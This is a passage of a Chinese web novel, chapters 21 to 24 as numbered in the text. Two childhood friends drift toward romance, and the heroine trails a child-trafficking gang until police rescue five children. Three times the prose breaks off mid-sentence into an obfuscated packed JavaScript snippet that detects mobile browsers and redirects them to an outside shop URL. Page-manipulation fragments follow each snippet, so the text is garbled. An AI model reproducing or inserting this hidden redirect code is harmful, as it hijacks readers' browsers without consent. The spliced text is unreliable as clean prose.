杨星觉得这样不行。他知道,她很好、也值得,所以许航不会是唯一一个看到叶吟并对她心动的男生,指不定哪天就会遇到真爱。 他希望自己能宽容到“允许一切发生”,但不服输的念头又折磨着他的神经。 他想:如果情况注定会发生变化,那做出改变的人,为什么不能是我? 于是他决定:开始锻炼。 ——绝对不是因为叶吟提了一句薄肌。 刘胖是第一个发现的:“星哥,你这个每日步数不对啊。” 杨星淡定自若:“最近在跑步。” 刘胖震惊地扣了个问号:? 他瞬间想到一个段子:年轻人决定改变自己会从两件事开始,学英语和健身。 于是刘胖跑到群里吐槽:“星哥疯了。” 杨星秒回:“你没事吧?!” 叶吟对此一无所知。她见了一次陈一衡,后者恰逢分手,又哭成了兔子。 陈一衡:“他说他其实根本不喜欢眼镜妹,呜呜呜呜呜。” 叶吟安慰说:“大学同学认识时间太短,知人知面不知心,下次就……嗯,就有经验了。” 陈一衡抬头,眼泪汪汪:“像你跟杨星那样的行吗?” 杨星? 叶吟愣了一下,慢半拍说:“我们不会的。” 陈一衡不解:“为什么?你们认识时间长,这样才不会被骗啊。” 叶吟不知道怎么解释,就跟猫遇到危险会炸毛一样,她下意识回避这个问题:“我们是太熟了,过去十多年都无事发生,怎么会一下子擦出火花?” 陈一衡眨眼,语出惊人:“那不是因为你不开窍嘛。” 叶吟:? 陈一衡清了清嗓子,怂恿她:“你不想体验一下甜甜的恋爱吗?” “不想,”叶吟想到校花和李沫,又想到黯然神伤的许航,再看眼前为前男友所困的陈一衡,“快算了吧。” 陈一衡撅了撅嘴:“其实高中的时候,我就以为你跟杨星在谈,结果搞半天才知道,是真没有。” 叶吟假笑:“我们俩怎么会。” 陈一衡指指点点:“谁会跑了奖牌送给异性?你们关系好那走班为什么不坐一起还要避嫌?你为什么穿着他妈妈织的同款毛衣?” “……” 叶吟想说,他们真的只是好朋友。 “我不是故意把你往那个方向引导啊,”陈一衡低头喝了口奶茶,“只是觉得如果你们谁有这个意思,偏偏被绊住了,等以后老了再想起来,怪可惜的。” 叶吟想了想,诚恳地说:“你最近是不是酸涩文看多了?” 陈一衡目移:“哎呀奶茶真好喝。” 虽然话题被拙劣地揭过,但陈一衡的话像种子栽进叶吟心里,之后几天,叶吟跟着了魔一样地考虑着这个问题——如果她跟杨星谈了。 先别说尴尬不尴尬,现在群里王不见王的两个人就是前车之鉴啊! 五排现在变成了薛定谔的四个人,固定组合叶吟杨星刘胖三人,另一个是李校花就不会有李沫的影子,反之亦然。 这种情况导致的直接后果是,他们差点就要换四排手游玩了,比如和*精英…… 叶吟:为了我们大家,我不会做出那种有违正义的事情的! 但她实在没忍住,稍微跟李校花透了个口风。 “你如果喜欢李沫,会给李沫介绍女朋友吗?” 李校花:“我不是受虐狂,谢谢。” 叶吟坦然了:杨星也不是受虐狂。 * 种子在冬天冬眠,又在春天发芽,因为叶吟发现,杨星最近回复消息从秒回变成了晚回,短视频app上的分享也比上学期腰斩。 刘胖说星哥在健身、跑图书馆,整个人都踏实了不少,连游戏都玩得少了。 叶吟不解,于是她问了当事人:“快赛季末了,你还没上荣耀吗?” 那边过了半小时才回复:“我账号密码你都知道,有空吗?帮我上个分呗。” 放下手机,杨星呲牙咧嘴地喊室友:“我不行了,阿黄,我屁股好痛。” 阿黄大名黄逸轩,白了他一眼说:“活该,让你不听我的自己上大重量,拉伤你应得的。” “太尴尬了,”杨星死鱼眼,“怎么能拉到臀大肌。” “先天健身圣子,是吧,练了两星期就觉得自己无敌了,”阿黄抱着手臂,恨铁不成钢,“还是为了女人!” “哎,”杨星不敢平躺,“我多久能好啊。” “中度拉伤,至少得三个星期,”阿黄说着把手机往他脸上一怼,“妹妹又问我你在不在,要给你点奶茶。” 妹妹是另一个室友xx的表妹,快高考了。室友本人心大,把几个同学的联系方式都发给了表妹,让她随便问,谁有空问谁。 杨星顶着个网络男神头像,成了妹妹倾泻问题的主要目标,但有室友这层关系在前,只能苦哈哈地做高三数学题,做得他夜夜梦回三中。 杨星身心俱疲地闭眼,下一秒又猛地睁开:“完蛋。” 阿黄迷惑:“咋了?” 杨星:“妹妹企鹅找不到我,会在游戏里找我。” 阿黄一点就通,露出同情之色:“哦,那你完了。” 叶吟不知道杨星光荣负伤,她登了他的账号,看到私信里有几条未读。 叶吟:红点之神在上,我点掉就走。 然后不出意外地出了意外,她被两句“学长”黏住了手指。 奶味小瑶酱:“学长,谢谢你给我讲题,A大怎么样?我以后也想去A大。” 别让我补射手:“挺好的,具体你可以问xx。” 奶味小瑶酱:“[笑脸]。” 奶味小瑶酱:“学长你在寝室吗?我给你点个奶茶吧。” 这两条显示未读。 叶吟点进对方的主页,战绩隐藏,又点开杨星的战绩,看到了两天前的匹配记录,是他跟室友还有小瑶酱的组队。 叶吟静了一会儿,叹出口气。 孩子大了,有自己的想法了。 她随手点进排位界面,准备单排启动,正好看到新消息跳出。 奶味小瑶酱:“学长,你游戏在线,怎么不回我消息啊?” 叶吟舔了舔后槽牙,感受到一点微妙的不爽。 于是她打字:“不是本人。”然后反手下了游戏。 这还上什么分? 让他找小瑶酱玩去。 另一边,杨星抬着僵硬的脖子,在私聊回复了妹妹:“不用客气,你让xx下次大英作业给我抄一下就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646349|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。” 妹妹:“噢噢好的[ok]。” 他跳到跟叶吟的私聊,有心想解释一下,结果阿黄阴恻恻地说:“她说不定根本不在意呢?你要是解释了,那不是此地无银三百两?” 于是杨星没来得及打字,叶吟那边先发来消息:“突然有点事,改天再玩。” 杨星:“……阿黄,我感觉不太好。” 阿黄:“……如果你以后因为这事跟她产生误会,我可以勉强为你出庭作证。” 杨星:“别扯以后了,我现在怎么办?” 阿黄:“正好试探一下她呗。要是她吃醋你就有希望,她没反应你就拉倒。” 杨星还在挣扎:“……这不好吧?” “早一刀晚一刀的,”阿黄拿走了他的手机,“你这个妖娆的姿势玩不了手机,歇着吧。” 这边被强制性措施解决了问题本身,叶吟那边就比较难处理了。 她没预想过这种情况,下了游戏还有点懵,跟被人套麻袋打了一顿一样。 杨星会恋爱?会喜欢别的女生? ……为什么不会? 叶吟回忆起高中,杨星对待其他女生一视同仁的敬谢不敏,可以说相当礼貌官方。 说实话,他们五个人都寡得要命。虽然校花顶着张美到惊世骇俗的脸所以桃花不断,但五个人高中都是单身狗,甚至连拿到明面上喜欢的人都没有。 可现在,小瑶酱摆在眼前,叶吟不得不面对一个事实——杨星可能在跟一个高中生学妹勾勾搭搭。 她控制不住地一路揣测:学妹成年了吗?他们怎么认识的?是两情相悦吗?在一起了吗? 以后,他会把人带来跟大家一起玩吗? …… 叶吟后知后觉地感受到了一种轻微的酸涩,像游蛇的信子舔过心尖,留下擦不干净的水痕,缀行在她的每一条思绪之后,阴魂不散。 她忍不住分神,从各个角度猜测、揣摩,但又不知为何望而生畏,几次三番删掉对话框里的疑问。 她想:如果谈了,杨星肯定会告诉我们的。 随后几天,在意识到自己有点反应过度之后,叶吟做了一个决定:她要跟杨星适当拉开距离。 这样对谁都好,她不会再心烦,也正好避嫌,不会成为妹妹跟他在一起的阻碍。 她对自己说:这是对好朋友的占有欲。 她只是不习惯两人最近的位置不再是彼此。 她只是需要点时间。 ……是吧? * 许航觉得最近叶吟不太对劲。 她开始一次不缺地参加社团活动,跟人打成一片,但偶尔又会不引人注意地发呆,连叫她几声也没反应。 他问她发生什么事了,叶吟沉默半晌,说,突然理解杨星那种问而不答的状态了。 “你知道的,人可能就是会有自己难言的苦衷吧。”她口吻沧桑。 “那是他心里有事,”许航悠悠地说,“见不得人的事。” 叶吟讶然侧目,然后又叹:“再见不得人,也比我现在烦心的事好。” 她有些唾弃自己的这种状态,但是又无法摆脱,因此时时对抗、内耗加倍——这对她来说可不太常见。 许航一副看破不说破的模样:“虽然不知道你在想什么,但我知道他在想什么。” 叶吟不信:“我都不知道,你怎么会知道?” 许航带着坏心,轻飘飘地说:“他喜欢你啊。” 22. 第 22 章 桌游包间里,社长敲敲桌子:“再不出牌过回合了哈,跨阵营不许说小话,再让我看见,一人罚五个金币!” “别开玩笑了,”叶吟面上毫无波澜地出牌,“以前没发现你这么能扯。” 许航摸了摸下巴,笑:“哎,人都有私心嘛,我当然想在你面前正派一点了。” 他出的牌正好挡了叶吟财路,但叶吟回合过了,只能瞪他一眼,闷声吃大亏。 社长苦大仇深地转着削笔刀:“先别急,这家店只有这种铅笔,我还没计分……你等等!我没结算!许航!” 许航光明正大地给自己划了十个金币,把游戏直接推向下一个回合。 “开玩笑的,哎,别放心上。” 他一边用胳膊肘拐了叶吟一下,说的是杨星,也说他刚发的牌。 叶吟冷酷无情:“分我五个金币就原谅你。” * 桌游打完还有饭局,叶吟不饿,干脆借口跑路。许航问需不需要他陪着一起,叶吟表示十动然拒。 打车之前,她拐进商场找洗手间,看洗手间门口站了个小孩,身边站着小孩奶奶,似乎在等人。 叶吟路过时,离一老一小很近,刚好听见两人对话。 奶奶说:“乖孙,妈妈说有点急事加班去了,我带你去找爸爸,听话。” 叶吟脚步一顿,不自觉地皱了皱眉。 “妈妈只是去上厕所了呀。”小男孩跟奶奶争辩。 “对呀,她是不是经常加班?刚刚是不是拿着手机?”奶奶说,“她接了个电话,然后就先从另一边走了,今晚要通宵加班,可累呢,你别给她添乱。” 小男孩半信半疑,叶吟却是彻底拔不动腿了。 那老太婆攥着孩子就要往外走,叶吟犹豫了一瞬,刚要上前说话,就看洗手间里走出一个高个中年男人。 他五官普通,皮夹克领口沾着油污,一双眼里闪着精光,直直略过杵在原地的叶吟,跟老太婆对了下视线。 叶吟:…… 男人隔着几米和老太婆走在一起,小男孩没注意,因为他被拽着一路小跑,只能磕磕绊绊地抗议:“奶奶,你抓得我好疼。” “乖孙,不疼噢,商场人多,奶奶怕你走丢了。” 叶吟一边跟上,一边掏出手机准备报警。出口近在眼前,她咬咬牙,尾随三人从小门出了商场。 路灯的阴影中停着一辆不起眼的面包车,“哗啦”一声,后门打开,下来一个女人。 等小男孩意识到不对,为时已晚。叶吟报警电话刚接通,几米外,孩子已经被捂着嘴扯上了车。 叶吟果断扣下电话,按死静音。就在中年男子回头张望的瞬间,她猫着腰,生疏地摸向了车尾。 卡着男人关死车门的那一下,叶吟“咔哒”一声按开把手,只抬出一条缝隙,就压低身子躲了上去。 “后备箱怎么回事?”驾驶位上的男人看到了指示灯,话中不满。 副驾驶上的女人闻言下车:“我看看去。” 黑暗中,叶吟无声后缩,背部紧贴车壁。 车里有股陈旧的机油味,呛得她想打喷嚏。来人几步路的工夫,叶吟只觉肾上腺素飙升,心跳如雷。 女人终于打开了后备箱门,路灯昏暗的光线从她身后,堂皇正大地投到了叶吟脸上。 女人弯下身子,戳弄着那个卡扣,而叶吟的脸,跟她的手只隔了三十公分。 呼吸几乎停止,她不敢泄出一丝一毫的声音。 对方不知道她的名字,所以只要不出声,光环破裂的概率就更低。 ——她在赌。 叶吟明明白白地暴露在女人的视野中。光线半明不暗,她这个不专业的卧底身体僵硬,姿态古怪地躺在后备箱里,完全是任人宰割的状态。 换任何一个人来做这件事都是送人头,可偏偏是她,一个从小到大的透明人。 叶吟硬是憋着一口气,等到女人狠狠一压后备箱门,在巨大的声响中,锁扣卡死。 男人摇下车窗:“行了,赶紧上车。” 那一口长气混入拉起的引擎声中,叶吟脑子里一片空白。感官回归,后怕重新涌上心头,怕得她手指痉挛,甚至拿不住手机。 她几乎是颤颤巍巍地调出静音,直到此时,离体的魂魄好像才彻底钻回了躯壳。 ……她到底干了什么啊?! 面包车上了路,老太婆也不再假装慈祥的声线:“该换车了。这车太旧,车型也太老。” 小男孩在后座挣扎:“唔唔唔唔!” 男人说:“妈,你管管他,吵得人心烦。” “我怎么管?都塞了布了,手也绑了。”老太婆语气不满。 叶吟稳住呼吸,用身体遮挡着屏幕的亮光,飞快给许航发了条信息:“拐卖团伙,报警,看定位,别打电话。” 实时位置共享接通,她只来得及看清对面扣了个问号,就切回了聊天列表。手指在一个名字上刚一停,就听男人说:“城里灯真大,照得哪都亮堂堂的。” 叶吟无声吸气,虽然这话不是说她,她还是不敢冒险,下意识按灭了手机。 女人附和:“那毕竟是城里。城里孩子都聪明。” 老太婆说:“今天这个长得好,带把的,多五千呢。” 男人道:“他穿的都是牌子货,赶紧出省。” 女人说:“先放驿站那,正好五件,明天一起送。” 车窗里投进来的灯光逐渐变暗,叶吟估摸着,多半真是出了城。 又过了会儿,车子就开始颠簸,叶吟不知道“驿站”是指什么地方,冷不丁脑袋撞在车壁上,发出一声闷响。 比起痛,她更担心被发现。左手顶着外套扶住了地板,不小心碰到个有点硬的小方块。 她拧着眉毛摸了摸,是桌游店的削笔刀。 于是叶吟相当乐天派地想:谢天谢地,现在不算手无寸铁了。 面包车终于熄了火,男人解开安全带,问:“今天驿站有人吗?” 女人答:“上一批送货的还没回来,没人。” 女人先下了车,老太婆抓着孩子也拉开了车门。后备箱从里面打不开,叶吟深知,这是自己不被锁车里最后的机会。 等老太婆拉上后门,她悄悄从后座靠背上方露出脑袋,车里只剩一个男人,正在调仪表盘。 如果这时他强行注意一下后视镜,就会发现那里有个人,明晃晃地翻过了靠背,落在了斜后面的座位上,发出很轻一声闷响。 “直接关羊圈吗?”老太婆在外面问。 叶吟动作一顿,偏头看到老太婆扯着小孩,正往车头方向走。 车里,男人烦躁地“啧”了一声,左手搭上车门,叶吟只等他开门出声的一瞬间,同时按下了门把手。 面包车后门再次打开了一条缝隙,男人显然没考虑过车上还有人的可能性,他下了车,想都没想地摔上驾驶室车门:“嗯,我们先吃饭。” “滴滴。” 锁车铃音响起,叶吟不敢动。 男人还在说话:“今儿没人,咱睡东厢吧,那边床大,还软。” 女人娇笑:“你就想着那点事儿!” 老太婆接话:“你也争点气,这么久了还没动静……” 等他们没了声音,叶吟终于小心翼翼地拉开车门。 安静无人的村子里,车门滑轨的摩擦声都显得格外刺耳,她提着心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648883|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下车,探出半个头,确认没人听到这里的动静。 不知道是因为磕到头的那一下太狠,还是这一路颠簸把她晃晕车了,叶吟两腿站稳,还感觉脑子有点昏沉。 村里晚上不点灯,地下都是土路。叶吟甩了甩手腕,在心里吐槽:我竟然还有这么一天。 放以前,杀了她也想不到,自己会拿透明人光环当倚仗,单枪匹马跟着人贩子追到贼营。 ——鼓励她冒险的一切勇气,都源于商场里男人无视她的那一眼。 老太婆刚刚送人一去一回很快,说明“羊圈”不远。叶吟很快就锁定了一间大门挂锁的平房,她绕着破破烂烂的建筑走了一圈,得到两个结论: 坏消息,“羊圈”挂的锁她打不开,没有后门,窗也锁着——就算她有小刀片,暂时也找不到发挥空间。 好消息,她手机有电、信号正常。她刚刚藏在安全的角落给许航打了个电话,虽然被好一顿教育,但他第一时间报了警,警察正在路上。 叶吟听到小孩呜呜咽咽的哭声,于是蹲在了“羊圈”窗下。她不敢出声,只希望这种精神上的陪伴,能让里面的小孩安定一点。 男人过来送了一次饭。隔着一个转角,他毫不留情的训斥、疑似暴力的闷响,都被叶吟收入耳中。 ……警察还不到吗? 又等了半个小时,里面的小孩彻底安静下去,叶吟都快坐不住了,终于听到了脚步声。 她伸出头去,看到了至少十个制服。 警察闯入时,男人跟女人还在床上厮混。老太婆年老体弱,更是无力反抗。 叶吟好手好脚地从暗处走出来,拍了拍最近处一个似乎是在望风的警察:“你好,你们在找被拐儿童吗?” 那年轻警察被吓了一跳,警棍一斜,差点招呼到叶吟身上。 “我是报案人……的朋友,”叶吟礼貌地自我介绍,“那边那间是‘羊圈’,里面有五个小孩。我去趟洗手间,等会儿可以把我也带回H市吗?” 就这样,许航在大半夜的警局里,见到了有些凄惨但没缺胳膊少腿的叶吟。 “叶吟!” 他踩着火一样闯进来,声音比平时哑一些,目光如有实质,先上下打量一番确认她人完好,又扫过她额角的伤,最终定格在那双写满“啊~今天也是和平第一天”的眼睛里。 听叶吟“嗯”了一声,他这才带着钦佩、无奈,还有一丝怒意开口:“你让我说你什么好?” “不用说了,我逞英雄,但你做得特别好,警察来得非常及时,”披着毯子的叶吟给他竖了个大拇指,“今天要是没你,我就栽了。” 许航恨得牙根痒痒,惯用的调侃语气里藏着不易察觉的紧绷:“你当这是拍电影呢?” “噢,没来得及想那么多。” “你要是真有个万一,我真是……” 叶吟看见他垂在身侧的手悄悄握紧。 “伤怎么样?”下一秒,他迅速切换话题,语气不容置疑,“一会儿去医院。” 这时,警察过来叫叶吟做最后确认。许航自然地退后一步,从口袋里摸出手机开始安排事宜,等叶吟再抬头时,发现他不知何时拿来了热牛奶和毛巾。 “擦擦手。”他把温热的毛巾递过来,动作自然得像做过无数次。 叶吟默了默,还是接过:“谢谢。” 凌晨三点,他们终于走出警局,许航要打车送她去急诊,叶吟没拒绝——实在拒绝不动了。她折腾一晚上,其实也累得很。 “帮我保密,”叶吟突然想起来,说,“别告诉别人。” 许航微微一顿:“报警的时候我跟社长在一起。” ……得,消息封锁晚了。 23. 第 23 章 医生说她轻微脑震荡、最好住院观察24到48小时的时候,两个人都沉默了。 叶吟挣扎地说:“其实……” 许航迅速应声:“好。” 抗议被无情镇压,叶吟到底是睡上了病床,她太累太困,挨着枕头就睡着了,浑然不知没电关机的手机里攒了多少消息。 许航办完一切手续,终于舒了口气。凌晨四点半,他坐在叶吟床边毫无睡意,跟社长知会了一声,结果那边也没睡。 社长不好意思地说:“社里都知道了,我们准备明天下午去看她。” 社里知道了,四舍五入全世界都快知道了。 不知道出于什么心理,许航打开跟杨星的对话框,摩挲着手机边框半晌,给他发了条医院定位。 然后他关掉屏幕,靠在椅背上,望着窗外泛白的天色。 杨星没跟他弄虚作假,他给他发了叶吟家住址,也推心置腹地讲过不少她的事。 他承这份情,所以这次算是还上了。 剩下的,是谁的戏份,自有天定。 * 一大清早,杨星面色沉凝:“阿黄,他开玩笑也该有个度。” 阿黄还睡眼惺忪:“万一是真的呢?你昨晚的消息她回了吗?” 杨星:“不行,我得问问。” 叶吟的电话没打通,杨星直接切软件下单买票,阿黄一激灵:“你干什么!你屁股好了吗就这么折腾?” 杨星少见的认真:“我不放心。没事,我用拐杖。” 天光大亮,护士例行检查,叶吟还睡得昏沉。 “你男朋友刚走没多久,嘱咐我们多照看你,”护士按流程把人唤醒,随口说,“他守着你眼都没合。” 叶吟哑声解释说不是男朋友,然后在护士八卦的表情中无奈道谢。 护士离开后,病房里只剩下她一人。吃完医院送来的午餐,叶吟靠在床头,拔下许航的充电器。 屏幕上,未读消息和未接来电堆积如山。 最新一条是十分钟前发的。 杨星:“接电话。” 叶吟指尖悬在屏幕上方,正犹豫着,病房门被不太客气地推开—— 杨星拄着单拐站在门口,另一只手扶着门框,气息有些不稳。他头发微乱,眼底带着血丝,目光精准定位在叶吟脸上。 空气似乎凝固了几秒。 他一步步走进来,拐杖点在地砖上,发出沉闷声响。直到在病床前站定,他居高临下地看着头缠纱布的叶吟,喉结滚动,从牙缝里挤出声音:“你可真行。” 叶吟看着他紧绷的下颌线和攥得发白的指节,事先想好的搪塞说辞,突然就卡在了喉咙里。 “你怎么来了?”她干干巴巴地说,“今天没课吗?” “没课?”杨星怒极反笑,“你都要没命了还管我有没有课?” “哎,没那么严重。哪个大嘴巴……” “叶吟,”她的话被杨星打断,他努力压着声调,却还是能听出失控,“你知不知道这种行为有多不负责任?” “情况是有多紧急,非要你去逞这个英雄?五分钟够不够报警说清楚位置、车牌?你就这么上了车,想没想过对方几个人,会不会有什么危险?” 叶吟被劈头盖脸的重话砸蒙了,她什么时候见过这样的杨星? 平日开朗的眉眼染上阴沉,口吻又冷又硬,那种倾泻而出的愤怒和后怕让她意识到,他这次是动了真火。 叶吟张口半天才出声:“我有数……” “你有个鬼数?!” “你知不知道歹徒确实可能看不见你,但在乎你的人一定会着急伤心?” “做这种事就是你想找的意义?冒险、当大英雄、上新闻,好,大家都看见了,现在你满意了?” 他眼眶发红,拄着拐杖的手因用力而微微发抖,另一只手握拳砸在床面上,把被单压出痕迹。 叶吟十分无措。她稍微瞪大了眼睛,配上发白的脸色,活像是被吓到了。 ……她不需要你教她做人……那种情况她肯定也害怕……你安慰一下啊……说几句软话能死吗? 各种念头如出笼野狗在杨星心里横冲直撞,他狠狠闭上眼,极力抑制着,一时间,病房里只剩他粗重的呼吸。 再开口时,他勉强放缓声音:“我来的路上就在看你们学校公众号。软件工程3班叶吟,见义勇为,深夜只身摸进人贩子大本营,解救五名被困儿童,是吧?” 叶吟下意识说:“是警察来得及时……” “来得不及时,我是不是该去太平间见你了?叶吟,你做决定之前,能不能……能不能想想你的朋友?” ——能不能、想想我? 叶吟近乎呆滞,看他咬着牙,眼中闪过幻觉一样的水光,还没来得及确认,他随手一抹,逼问追责的态度毫无破绽。 “说话,能还是不能。” “……能。” 叶吟小心翼翼地碰了碰他的手,后者反应很大地一缩胳膊,脸颊咬肌一动。 一句“别撒娇”涌到嘴边,杨星猛然惊醒,对她这种无意识的小动作几乎深恶痛绝,可他想得到却做不到,态度还是弱了两分。 “对不起,让你担心了,”叶吟老实认错,“别生气了。” 杨星再次深呼吸,消毒水的味道灌进大脑。 “不是生气,叶吟,你想没想过,如果……” 如果你真的出了什么事,我怎么办? 从始至终拿着朋友的身份,却没有尽到朋友的责任,没能在你钻牛角尖的时候把你拽回来,没能在你需要帮助的时候伸出援手…… 我该怎么捧着夭折的、哑巴的初恋,面对你遭遇不测的消息? 只要想到这种可能性,心脏就开始自由落体。话音哽在舌尖,仿佛钉穿了那一点软肉,带来一场虚幻而漫长的凌迟。 他眼中情绪翻涌,如同无声海啸,最终却只是无力地把积云挥散,投降般叹了口气。 你让让我吧,他想。我这次真是关心则乱了。 “你没事就好,”杨星说完,停了停,像是在安慰她,也像是在安慰自己,“没事就好。” 这份爆发后的退让,就像是紧实蚌壳重新打开缝隙。 叶吟听懂了他的妥协,也看到了那份克制下的汹涌。 吃惊之余,她感受到了自己心跳的失序,如同乐章中意外漏出的第一个错音,却勾缠着整首曲目,从此向另一个风格靠去。 叶吟无声攥紧手指,品味着这份随着呼吸、如水般流淌而过的柔情。它带着渗透四肢百骸的酸涩,也带着百川东到海的澎湃,仿佛一阵初春的风,历经萧索秋冬,穿透她二十年的人生—— 她的意义,作为透明人的意义,以为会在救出小孩那一刻完成、却阴差阳错在这一秒圆满的意义……答案在这里。 她是天生被社会无视的人、是拼尽全力才会被看到的人,也是连自己都看不清的人。 只是,有人看得清,一直看得清。 十年如一日的注视,让这份注视的存在感稀薄如空气。她被杨星骂得狗血淋头,却在一刹那豁然开朗:有人看到了她、看透了她,然后包容了她、接住了她。 他稳当当地、小心翼翼地、守着她的奇特。 叶吟是被透明泡泡包裹的人。泡泡一次次被打破,但又一次次地恢复如初,以至于让她有种错觉,她必须要做出什么轰轰烈烈的好事、大事,才会被看到,才会被记住。 然后那个人说:不是的。 你的意义,不是这样的。 你拼着受伤也要证明的,到底是什么呢?被所有人看到了,又怎样呢? 你不需要做那些能力以外的事情,哪怕只是平凡地活着,我也一直会看着你。 意义不在于任何其他人,一切的前提,是你要好好对自己。 叶吟突兀地吸了吸鼻子,杨星手指一动。 “见义勇为还感冒了?” 他话里带着点讽刺,叶吟低低地“嗯”了一声,不好意思说自己是被感动了。 “对了,你怎么拄着拐……” “拉伤了,”杨星深深地吐出一口郁气,“快好了。” 叶吟讷讷开口:“那你也注意点。” 二人再次陷入沉默,气氛无形变化,杨星开始后悔自己刚刚没收住话头,情绪太重、说得太多,导致现在不好收场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654083|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……我不是在教育你。”他给自己找补。 “嗯,我知道,你只是担心我。”叶吟点点头。 多说多错,他硬邦邦地站在那,像是突然修了闭口禅。熟悉的涩意蔓延,似乎是回应了某人的愿望,病房门外探出几个脑袋。 “叶……杨星!”社长眼睛一亮,“哇,不愧是发小,你们感情真好。你什么时候来的?” 杨星得救一般地让出位置,面不改色地开口:“我也刚到。” 上学期叶吟带着上分的女生拿了果篮:“医院门口宰客呢,这一篮子二百块,你给我把核都咽下去。” 叶吟:“我说真的,别至于。” “那太至于了,”女生摇头晃脑,“咱学校新闻部的都说要来完整地采访一下你,等拍照的时候,你病房连个果篮都没有,那也太磕碜了。” 叶吟:“……谢谢?” 社友们的到来让病房里充满了快活的空气。 “真是太猛了。” “专业偷家二十年,我服了。” “偷家人设屹立不倒,哈哈哈哈哈。” “不过,下次还是多叫几个人吧,人多力量大。” 大家七嘴八舌,仿佛要把叶吟淹没。她微笑着,目光却不由自主地穿过人群缝隙,寻找那个默默退到角落的身影。 杨星靠在墙边,忍过生理上一阵有点尴尬的酸痛。他看着被众人簇拥的叶吟,她脸上含着倦意,但依然耐心。 他应该为她感到骄傲,事实上,他确实为她骄傲。 她做的事,很了不起。 其实,她这些年没有长歪,也很了不起。 她有很多机会变成利用光环牟利的坏蛋,但她老老实实地长到了今天,还成了个为民除害的大侠。 想到这,他忍不住弯了弯嘴角。 社长相当兴奋:“等叶吟出院,必须好好庆祝一下!许航呢?这次多亏他报警。” “他先回学校了。”有人接话。 杨星唇线重新绷紧。 许航名字被提起时,叶吟正巧跟他对视。她的眼神跟被烫到一样弹开了,随后继续若无其事地附和社长讲话,却再也没看向这边。 那一刻,杨星几乎可以肯定,叶吟知道了什么。 但她对着他的时候,什么也没问。 ……她竟然,什么也没问。 她坦然接受了大家的关心,然后将那份属于他们两人的暗流闷在了心里。 ……问问我吧。 问问我吧、问问我吧、问问我吧。 问我为什么三缄其口,问我为什么不太正常,问我为什么躲躲闪闪…… 再问一次吧。 我离投降只差你一句话。 这个念头仿佛诅咒一样地重复着,着魔一样地堵在他的胸口,杨星充耳不闻,因为他视野中心安安稳稳地放着一个人。 这样就很好了,他大刀阔斧地想。 已经很好了。 探望的人群终于散去,病房重归安静,护士进来提醒了一下,杨星拄着拐杖起身:“你好好休息,我回学校了。” 叶吟看向他,嘴唇动了动,似乎想说什么,最终却只是点了点头:“路上小心,顺便,也祝你早日康复。” 一句寻常的关心。 杨星深深看了她一眼,心里那个声音鼓噪如雷鸣,在三秒内重复了一万遍“问问我吧”,仿佛一场恐怖的共振,让他指尖颤抖、脚下生根。 而表面上,他只是从容地点了点头,转身,离开了病房。 门板合上,叶吟缓缓松了口气,肩膀也垮了下来。她往被子里缩了缩,好像这样就能逃避现实。 许航的玩笑像毒药埋进她心里,经过一天的发酵,长出带毒的藤,缠绕,打结,让人陷入惶恐。 所以小瑶酱是谁?如果……为什么要祝我跟许航99?为什么要对我隐瞒受伤?为什么要疏远为什么要改变…… 叶吟有点疲倦地开导自己:别想太多。 他们还有很多时间,足够她慢慢想,想出一个清明的结果。 所以,别想太多。 然而,不等她把自己糊弄过去,房门被重新推开。 24. 第 24 章 叶吟冷不防听到声音,一睁眼,结果是社团里的女生去而复返。她正要打起精神,来人已经一屁股坐在了床前。 “哎,他终于走了,我这人有话不说憋得难受。”女生直言不讳。 叶吟有点茫然:“怎么了?拍照道具要回收吗?” 女生眼里闪过奇特的光:“不是,想聊聊你那发小。” 叶吟:“啊?” “礼貌、自制、三观正、长得好、个子高、学习不错、段位不高不低。” 叶吟:“啊??” 女生掰着指头,数了一遍叶吟随口绉的择偶标准,然后说:“你当时是按你发小的promax版本说的?” 叶吟:……? 女生挑剔地说:“180是稳稳的,就是稍微细了点。礼貌么,看起来也挺礼貌的。脸勉强算是合格线上。都发小了,三观人品你肯定也清楚……所以他哪个学校的?排位多少星?癫峰赛呢?” 叶吟膛目结舌。 女生放下手,笑得像个狐狸:“喂,深藏不露啊。” “……” “兔子不吃窝边草,”女生看她走神,不依不饶地说,“你倒是给个准话啊,放心,我帮你保密。” 叶吟不作声。但她心中的小人一低头,就看到自己脚尖下,明明白白地压着一道红线。 这道线,名叫“最好的朋友”、叫“青梅竹马”、叫“十年发小”。 但此时此刻,这条线就像只闻其声不见其形的洪水猛兽,震慑着鼻尖相对、却互不可见的两个人。 终于有人把事摊在她面前说,不容她半点躲闪,叶吟第一反应是:“我们只是……” 最好的朋友。 